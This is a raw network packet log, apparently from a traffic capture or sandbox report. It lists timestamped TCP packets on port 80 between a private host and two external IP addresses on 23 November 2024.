Nov 23, 2024 13:28:40.534907103 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.534967899 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.535063028 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.535119057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.535818100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.535888910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.535948992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.536001921 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.536772013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.536825895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.536885977 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.537704945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.537761927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.537808895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.537863970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.538748026 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.538809061 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.538928032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.538985968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.539726973 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.539781094 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.539836884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.540445089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.540582895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.540637016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.541528940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.541589975 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.541595936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.541652918 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.542278051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.542335033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.542412043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.542468071 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.543205023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.543263912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.543343067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.543395996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.544245958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.544302940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.544349909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.544405937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.545113087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.545171022 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.545206070 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.545259953 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.545996904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.546051979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.546112061 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.546902895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.546957970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.546962023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.547012091 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.547832966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.547895908 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.547966003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.548022985 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.548764944 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.548820019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.548890114 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.548940897 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.549675941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.549731016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.549802065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.549855947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.550611019 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.550704956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.550764084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.551548958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.551599026 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.551609993 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.551655054 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.552483082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.552541018 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.552625895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.552674055 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.553375959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.553411961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.553446054 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.553482056 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.554332972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.554454088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.554516077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.555252075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.555329084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.555375099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.555428982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.556190014 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.556226015 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.556246042 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.556274891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.557092905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.557147026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.557185888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.557238102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.558032036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.558126926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.558185101 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.558958054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.559016943 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.559062004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.559111118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.559875965 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.559933901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.559979916 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.560034990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.560818911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.561005116 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.561060905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.561729908 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.561788082 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.561824083 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.561880112 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.562661886 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.562717915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.562724113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.562784910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.563566923 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.563627005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.563666105 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.563720942 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.564506054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.564606905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.564657927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.565421104 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.565519094 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.565572023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.566349030 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.566400051 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.566445112 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.566494942 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.567276955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.567326069 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.567348003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.567403078 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.568178892 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.568288088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.568347931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.568551064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.568644047 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.569097042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.569148064 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.569150925 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.569230080 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.569272995 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.569777012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.569875956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.569999933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.570051908 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.570053101 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.570086956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.570131063 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.570964098 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.571028948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.571057081 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.571104050 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.571846008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.571891069 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.571976900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.572022915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.572249889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.572787046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.572839975 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.572871923 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.572918892 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.572945118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.572984934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.573090076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.573719025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.573838949 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.573893070 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.574659109 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.574708939 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.574785948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.574832916 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.575476885 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.575522900 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.575577974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.575594902 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.575653076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.575691938 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.576510906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.576606035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.576656103 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.577409029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.577457905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.577513933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.577554941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.577876091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.577919960 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.578336954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.578385115 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.578391075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.578434944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.579265118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.579308987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.579397917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.579443932 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.580183029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.580302954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.580348969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.581165075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.581214905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.581248999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.581298113 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.582045078 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.582087994 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.582158089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.582195997 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.582930088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.582986116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.653105974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.653233051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.654125929 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.654334068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.654350042 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.654396057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.675517082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.675549030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.675604105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.701047897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.701061964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.701109886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.738341093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.738418102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.738565922 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.739559889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.744781971 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.744841099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.744853020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.744889021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.745033979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.745080948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.745124102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.745167971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.745959044 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.746016026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.746058941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.746104002 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.746877909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.746925116 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.746946096 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.746989965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.747806072 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.747853041 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.747914076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.747972965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.748734951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.748780012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.748882055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.748925924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.749689102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.749733925 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.749768972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.749815941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.750590086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.750632048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.750699997 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.750745058 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.751512051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.751558065 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.751593113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.751638889 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.752448082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.752552986 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.752605915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.753362894 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.753412008 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.753470898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.753520012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.754312038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.754353046 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.754415989 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.754458904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.755212069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.755265951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.755335093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.755381107 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.756140947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.756365061 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.756409883 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.757080078 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.757128954 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.757201910 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.757249117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.757987976 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.758032084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.758086920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.758131027 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.759100914 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.759145021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.759186029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.759226084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.760246038 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.760335922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.760381937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.761210918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.761255026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.761276007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.761321068 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.761991978 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.762036085 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.762074947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.762120008 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.762793064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.762836933 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.762861967 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.762902021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.763690948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.763737917 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.763833046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.763871908 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.764574051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.764700890 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.764760017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.765407085 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.765449047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.765536070 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.765578032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.766340971 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.766386032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.766458988 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.766501904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.767271042 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.767328978 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.767385006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.767426014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.768170118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.768286943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.768330097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.769105911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.769154072 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.769212961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.769253969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.770016909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.770056963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.770128012 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.770169020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.771045923 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.771090031 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.771111012 CET	80	49799	185.215.113.16	192.168.2.6
